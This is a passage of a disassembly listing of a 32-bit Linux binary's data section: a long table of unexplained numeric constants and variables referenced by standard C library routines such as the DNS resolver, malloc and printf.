44062D8h, 1C163D8h dd 13C163D8h, 1EE163D8h, 1FE163D8h, 13863D8h, 143863D8h dd 3E071D9h, 201C6D9h, 0C99621D9h, 0CE9621D9h, 1E049D9h dd 63E849D9h, 1B000018h, 0FE1F7018h, 2207018h, 22A7818h dd 32A7818h, 56707B18h, 50018018h, 51018018h, 52018018h dd 67008118h, 42008118h, 2B018218h, 0A668E18h, 14668E18h dd 0D169918h, 8D169918h, 0A0A9B18h, 40C1A118h, 41C1A118h dd 1B000218h, 261CD518h, 4D3CD518h, 4E3CD518h, 96CD818h dd 0B04DB18h, 0D804DB18h, 31EDD18h, 41EDD18h, 35FDD18h dd 45FDD18h, 0B01E218h, 1401E218h, 1501E218h, 2A01E218h dd 2E01E218h, 5A01E218h, 500EA18h, 0F18DF018h, 2618F718h dd 1C31918h, 3C31918h, 40E31918h, 42E31918h, 3C81E18h dd 3C91E18h, 32B3018h, 0C33F4018h, 0D43F4018h, 0C3FD4318h dd 0D4FD4318h, 0C3FF4518h, 0D4FF4518h, 0BE25C18h, 0ACE25C18h dd 0ADE25C18h, 0AEE25C18h, 4602FE20h, 11866020h, 35EF6120h dd 29020823h, 2A020823h, 0FE22B226h, 0CA85DB26h, 5581E726h dd 26FF426h, 2BD0826h, 2300826h, 2050826h, 2320826h, 25C0826h dd 25D0826h, 25E0826h, 25F0826h, 2600826h, 2720926h, 2730926h dd 2740926h, 2870926h, 2880926h, 2890926h, 4100104h, 4B81104h dd 20B1204h, 30B1204h, 8871204h, 458C1204h, 2941204h, 3941204h dd 0A5A61204h, 8230204h, 2310204h, 3310204h, 4310204h dd 22AD1504h, 5AD1504h, 1ECC1504h, 1012128h, 31E8034h dd 0A017A35h, 0A027A35h, 417D8C35h, 427D8C35h, 8716C037h dd 0B480038h, 0B600038h, 2020039h, 2030039h, 0C2130C39h dd 0C3130C39h, 0C27F4239h, 0C27F4439h, 0C27F4639h, 500003Dh dd 900003Dh, 2CF753Dh, 3CF753Dh, 270783Dh, 6497783Dh, 76D6793Dh dd 92807A3Dh, 2807A3Dh, 0BA00C23Dh, 0D400C23Dh, 220FC23Dh dd 0FC02C23Dh, 0E1F8C23Dh, 0E23AC83Dh, 38CCA3Dh, 1D5CC3Dh dd 540CD3Dh, 640CD3Dh, 2296D03Dh, 0EABDD03Dh, 0F2D1D03Dh dd 0D6BDD53Dh, 9A60DA3Dh, 39FDC3Dh, 49FDC3Dh, 0B2C5DC3Dh dd 641EDE3Dh, 1FC243Dh, 1E834E3Dh, 0D80093Dh, 1080093Dh dd 2880093Dh, 0DC0093Dh, 3E01013Eh, 5C01013Eh, 1440683Eh dd 41016C3Eh, 42016C3Eh, 11A0C3Eh, 2A01803Eh, 3501803Eh dd 1020E3Eh, 22E8A13Eh, 460A83Eh, 1D89B63Eh, 1E89B63Eh dd 0FA20023Eh, 520023Eh, 101CC3Eh, 47A3173Eh, 48A3173Eh dd 2450E83Eh, 0D07183Eh, 9486F53Eh, 202FA3Eh, 4BDC243Eh dd 100513Eh, 0C510513Eh, 1005E3Eh, 2005E3Eh, 4280603Eh dd 0FA2A643Fh, 1425693Fh, 0F8856A3Fh, 0C996A3Fh, 6886C3Fh dd 658723Fh, 229793Fh, 8A69883Fh, 9008C3Fh, 0FEF08C3Fh dd 33E9913Fh, 51EC913Fh, 0A2D923Fh, 22D923Fh, 22E923Fh dd 0F7B943Fh, 0E225953Fh, 2436953Fh, 8518A03Fh, 1F39A23Fh dd 220A43Fh, 620A43Fh, 220A53Fh, 3C06A53Fh, 3D06A53Fh dd 3E06A53Fh, 0E68EA73Fh, 122DA73Fh, 1A2DA73Fh, 0F069A83Fh dd 507A83Fh, 21CA93Fh, 3E26A93Fh, 0B46BAB3Fh, 0B56BAB3Fh dd 0F03CAC3Fh, 4BEAD3Fh, 5BEAD3Fh, 5E2AD3Fh, 23BAE3Fh dd 168CC23Fh, 5A1D23Fh, 0AF3D23Fh, 0BF3D23Fh, 0BF4D23Fh dd 0C429D33Fh, 0C629D33Fh, 156D33Fh, 256D33Fh, 4270D83Fh dd 801FA3Fh, 340FA3Fh, 440FA3Fh, 1448413Fh, 1E48413Fh dd 0EFF3463Fh, 0ABE473Fh, 0FBE473Fh, 46E4473Fh, 0FA52473Fh dd 0FC52473Fh, 0D83493Fh, 0E83493Fh, 82A0493Fh, 2A0493Fh dd 844C503Fh, 20C4523Fh, 0FBE1533Fh, 42CF583Fh, 12F6840h dd 12E0C40h, 51AB0F40h, 2889D40h, 0C416A240h, 2EA1140h dd 34C1340h, 3AFFC540h, 42FFC540h, 84F00240h, 0B99D040h dd 8708D040h, 5C01540h, 6C01540h, 0AA66D440h, 87BED540h dd 10E1D640h, 8414E040h, 8514E040h, 8614E040h, 0AACE840h dd 0BACE840h, 0B84EF40h, 1339EF40h, 2039EF40h, 8C4DF240h dd 4E2F340h, 0C22F340h, 0D22F340h, 222F340h, 0E14F540h dd 8219F540h, 0E2BF540h, 4280FE40h, 1461FE40h, 17001A40h dd 2261A40h, 2C11C40h, 28B1E40h, 0A8E21E40h, 0AAE21E40h dd 0AC02840h, 0CC02840h, 2DAE2940h, 96112A40h, 3802E40h dd 4802E40h, 4013140h, 2820540h, 3820540h, 0A803240h, 2803240h dd 6803240h, 32D0640h, 52D0640h, 2013D40h, 3013D40h, 2C44140h dd 2D04140h, 2DF4140h, 14C04240h, 15C04240h, 1C884440h dd 64A84540h, 0A044540h, 0B044540h, 8C2C4540h, 4494540h dd 0FEC85040h, 0FAFF5040h, 0FBFF5040h, 23E5440h, 0AD65640h dd 19D65640h, 1AD65640h, 0CDA05940h, 0CC45E40h, 0A10C5F40h dd 0A20C5F40h, 0B10C5F40h, 0B20C5F40h, 0A445F40h, 96455F40h dd 64E5F40h, 6196B41h, 0A007841h, 2007841h, 66307841h dd 67307841h, 488A041h, 3BEA041h, 326DA141h, 273A141h dd 2B1A141h, 133A141h, 733A141h, 2234A141h, 3C0A241h, 0F50A241h dd 3A9A341h, 128A441h, 290AA41h, 310AB41h, 410AB41h, 0F84AC41h dd 25EAE41h, 0FDFEC241h, 0FEFEC241h, 282C541h, 397C641h dd 497C641h, 256D141h, 354D641h, 454D641h, 0FEBFD741h dd 41012041h, 46012041h, 2EC2A41h, 10D4441h, 1F87242h dd 2F87242h, 58C7642h, 1C87742h, 0F8C97742h, 44808742h dd 1009242h, 140AA42h, 0D40AA42h, 0A98B242h, 1B85BB42h dd 100C442h, 900C442h, 8A8C1C42h, 0F1392242h, 1FD92642h dd 20D92642h, 1B892B42h, 23362E42h, 424D2E42h, 8F0F0742h dd 900F0742h, 2A184D42h, 91A4D42h, 23C4E42h, 2D46143h dd 82E05150h, 11065150h, 3075150h, 37C05B50h, 73C25B50h dd 0 dword_80784F4 dd 0 ; DATA XREF: setenv+13Cr setenv+145r ... dword_80784F8 dd 0 ; DATA XREF: init_services_resolv+E0Fw ; sub_804BEB0+6r ... aEtcHosts db '/etc/hosts',0 ; DATA XREF: sub_804C538+11o ; sub_804C5A4+13o align 4 dword_8078508 dd 0 ; DATA XREF: sub_804C538+3r ; sub_804C538+1Bw ... dword_807850C dd 0 ; DATA XREF: sub_804C538+32w ; sub_804C574+Cr dword_8078510 dd 0 ; DATA XREF: init_services_resolv+45Aw ; init_services_resolv+4A7w ... dword_8078514 dd 0 ; DATA XREF: init_services_resolv+59Ew ; init_services_resolv+5EBw ... dword_8078518 dd 0 ; DATA XREF: init_services_resolv+6E2w ; init_services_resolv+72Fw ... dword_807851C dd 0 ; DATA XREF: init_services_resolv+826w ; init_services_resolv+873w ... dword_8078520 dd 0 ; DATA XREF: dotrimdomain+Br ; dotrimdomain+78r ... dword_8078524 dd 0FFFFFFFFh ; DATA XREF: reorder_addrs+Cr ; reorder_addrs+23r ... dword_8078528 dd 1 ; DATA XREF: _getnishost+60r ; _getnishost+8Ew dword_807852C dd 0 ; DATA XREF: _getnishost+Fr ; _getnishost+18o ... dword_8078530 dd 0FFFFFFFFh ; DATA XREF: sub_804EA0C+1C2r ; sub_804EA0C+1D8r ... dword_8078534 dd 0 ; DATA XREF: sub_804EA0C+4EFw ; sub_804EA0C+517r ... dword_8078538 dd 0 ; DATA XREF: sub_804EA0C+1CBr ; sub_804EA0C+270w ... dword_807853C dd 0 ; DATA XREF: sub_804E6D8+6w ; sub_804EA0C+10Cr ... dword_8078540 dd 0 ; DATA XREF: sub_804E6E8+6w ; sub_804EA0C+9D2r ... dword_8078544 dd 0 ; DATA XREF: res_init+34r res_init+3Dw ... dword_8078548 dd 0 ; DATA XREF: res_init+47r res_init+50w ... dword_807854C dd 0 ; DATA XREF: init_services_resolv+1FCr ; init_services_resolv+AC6r ... dword_8078550 dd 0 ; DATA XREF: res_init+9Ew ; res_init+663w ... dword_8078554 dd 0 ; DATA XREF: res_init+8Cw ; res_init+43Aw ... dword_8078558 dd 0 ; DATA XREF: res_init+82w ; res_init+434w ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; word_8078584 dw 0 ; DATA XREF: res_init+6Dr res_init+7Cw ... db 2 dup(0) dword_8078588 dd 0 ; DATA XREF: res_init+F2w ; res_init+322w ... dword_807858C dd 0 ; DATA XREF: res_init+FCo ; res_init+32Co ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_80785A0 db 0 ; ; DATA XREF: res_init+110o ; res_init+33Co db 0 ; db 0 ; db 0 ; byte_80785A4 db 0 ; DATA XREF: res_init+DDo res_init+EDo ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_80786A4 dd 0 ; DATA XREF: res_init+B6w ; sub_804EA0C+8FAr ... byte_80786A8 db 0 ; DATA XREF: getanswer+635r ; sub_804CBE4+33r ... db 3 dup(0) unk_80786AC db 0 ; ; DATA XREF: sub_804CBE4+5Fr ; sub_804CBE4+CBr ... db 0 ; db 0 ; db 0 ; unk_80786B0 db 0 ; ; DATA XREF: sub_804CBE4+59r ; sub_804CBE4+C5r ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_80786FC db 88h ; ; DATA XREF: fclose+58o db 20h ; db 0ADh ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 90h ; db 7 ; db 8 ; unk_8078750 db 84h ; ; DATA XREF: sub_804EA0C+4Co ; sub_804EA0C+56o ... db 20h ; db 0ADh ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 86h ; db 7 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 90h ; db 7 ; db 8 ; unk_80787A4 db 86h ; ; DATA XREF: init_services_resolv+2B2o ; init_services_resolv+2D8o ... db 20h ; db 0ADh ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 50h ; P db 87h ; db 7 ; db 8 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 90h ; db 7 ; db 8 ; off_80787F8 dd offset unk_80787A4 ; DATA XREF: sub_8061788+Bo ; sub_8061788+10r ... unk_80787FC db 0 ; ; DATA XREF: sub_804F820+1Ao ; sub_80628A8+1Ao db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 31h ; 1 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 58h ; X db 2Fh ; / db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 30h ; 0 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 80h ; db 31h ; 1 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4Ch ; L db 1Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 30h ; 0 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 44h ; D db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 24h ; $ db 6 ; db 8 ; dword_807888C dd 0 ; DATA XREF: vfprintf+2FF4r ; vfprintf+300Er ... dword_8078890 dd 806A9E4h ; DATA XREF: vfprintf+60Br ; vfprintf+64Cr ... dword_8078894 dd 0FFFFFFFFh ; DATA XREF: sub_8054E54+7r ; sub_8054E54+12w ... dword_8078898 dd 0 ; DATA XREF: sub_8054E54+2Aw ; sub_8054EC8+4Fr ... dword_807889C dd 8067F8Ch ; DATA XREF: sub_8054E54+34w ; sub_8054EC8+57r ... dword_80788A0 dd 8 ; DATA XREF: sub_8054E54+3Ew ; sub_8054EC8+6Dr ... dword_80788A4 dd 0FFh ; DATA XREF: sub_8054E54+48w ; sub_8054EC8+20r ... dword_80788A8 dd 0 ; DATA XREF: sub_8055D38+6Br db 7 ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 3Fh ; ? db 0 ; db 0 ; db 0 ; dword_80788BC dd 0 ; DATA XREF: sub_8055D38+77r db 3 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 25h ; % db 0F6h ; db 38h ; 8 db 0CDh ; db 0ECh ; db 91h ; db 63h ; c db 0FDh ; db 7Ah ; z db 64h ; d db 4 ; db 87h ; db 0C6h ; db 5Fh ; _ db 0DDh ; db 52h ; R db 5Ch ; \ db 0A0h ; db 7 ; db 8Eh ; db 11h ; db 32h ; 2 db 0Eh ; db 0E3h ; db 0Ah ; db 0F7h ; db 68h ; h db 75h ; u db 9Bh ; db 74h ; t db 33h ; 3 db 0A1h ; db 0FFh ; db 19h ; db 20h ; db 8Ch ; db 0B8h ; db 7 ; db 2Dh ; - db 1Bh ; db 0A0h ; db 0D3h ; db 47h ; G db 1Eh ; db 85h ; db 51h ; Q db 0CEh ; db 99h ; db 0A3h ; db 49h ; I db 54h ; T db 6Bh ; k db 0D7h ; db 0F6h ; db 0E0h ; db 87h ; db 0D3h ; db 54h ; T db 4 ; db 27h ; ' db 0E6h ; db 4Bh ; K db 83h ; db 0BBh ; db 0D2h ; db 7Eh ; ~ db 61h ; a db 0A8h ; db 8 ; db 4Ch ; L db 0DBh ; db 0BBh ; db 7Dh ; } db 4Ah ; J db 0FDh ; db 0B0h ; db 0A3h ; db 30h ; 0 db 8Ah ; db 0A2h ; db 6 ; db 0CBh ; db 0 ; db 4Ch ; L db 29h ; ) db 29h ; ) db 0CAh ; db 0DBh ; db 2Ah ; * db 0B2h ; db 0B8h ; db 0F3h ; db 38h ; 8 db 7Dh ; } db 0DBh ; db 9Ah ; db 1Fh ; db 59h ; Y db 0F1h ; db 58h ; X db 18h ; db 7Eh ; ~ db 0E8h ; db 0A4h ; db 78h ; x db 33h ; 3 db 41h ; A db 0C7h ; db 7Bh ; { db 0D3h ; db 0BAh ; db 0F4h ; db 22h ; " db 0EDh ; db 98h ; db 15h ; db 47h ; G db 7Fh ;  db 0EFh ; db 54h ; T db 29h ; ) db 88h ; db 8Fh ; db 79h ; y dword_8078950 dd 80788E0h ; DATA XREF: __srandom+1E7w ; sub_8055D38+D4w ... dword_8078954 dd 80788D4h ; DATA XREF: __srandom+1F1w ; sub_8055BBC+32r ... dword_8078958 dd 80788D4h ; DATA XREF: __srandom+9r ; __srandom+2Er ... dword_807895C dd 3 ; DATA XREF: __srandom+10r ; sub_8055BBC+15r ... dword_8078960 dd 1Fh ; DATA XREF: __srandom+22r ; __srandom+34r ... dword_8078964 dd 3 ; DATA XREF: __srandom+1D4r ; sub_8055BBC+78w ... dword_8078968 dd 8078950h ; DATA XREF: sub_8055BBC+131w ; sub_8055D38+ECw ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_8078AF4 dd 807896Ch ; DATA XREF: __new_exitfn+3r ; __new_exitfn+48r ... db 0 ; db 0 ; db 0 ; db 0 ; dword_8078AFC dd 0 ; DATA XREF: strtok+10r strtok+28r ... aUnknownErrorD db 'Unknown error %d',0 ; DATA XREF: sub_8056E14+1Do db 3 dup(0) __errno dd 0 ; DATA XREF: setenv+D2w res_search+4Cw ... __fpu_control dw 0 ; DATA XREF: start+2Fr db 2 dup(0) dword_8078B1C dd 8068EA4h ; DATA XREF: sub_805A11C+6w ; sub_805A11C+5Ew ... dword_8078B20 dd 8068EA4h ; DATA XREF: sub_805A11C+10w dword_8078B24 dd 0 ; DATA XREF: sub_805A11C+24w ; sub_805A11C+81w ... dword_8078B28 dd 0 ; DATA XREF: sub_805A11C+1Aw ; sub_805A11C+6Aw ... dword_8078B2C dd 0 ; DATA XREF: sub_805A11C+2Ew ; sub_805A11C+90w ... dword_8078B30 dd 8065DE0h ; DATA XREF: sub_805BBF4+40r ; sub_805BBF4+D1r ... dword_8078B34 dd 0 ; DATA XREF: sub_805BBF4+58o ; sub_805BBF4+FAo ... dword_8078B38 dd 8078B34h ; DATA XREF: sub_805BBF4+9r ; sub_805BBF4+72r ... dword_8078B3C dd 8078B34h ; DATA XREF: malloc+39r malloc+177o ... dword_8078B40 dd 8078B3Ch ; DATA XREF: malloc+171r malloc+1A7w ... dword_8078B44 dd 8078B3Ch ; DATA XREF: malloc+4Br malloc+1A2w ... dd offset dword_8078B44 off_8078B4C dd offset dword_8078B44 ; DATA XREF: .data:08078B50o ; .data:08078B54o dd offset off_8078B4C off_8078B54 dd offset off_8078B4C ; 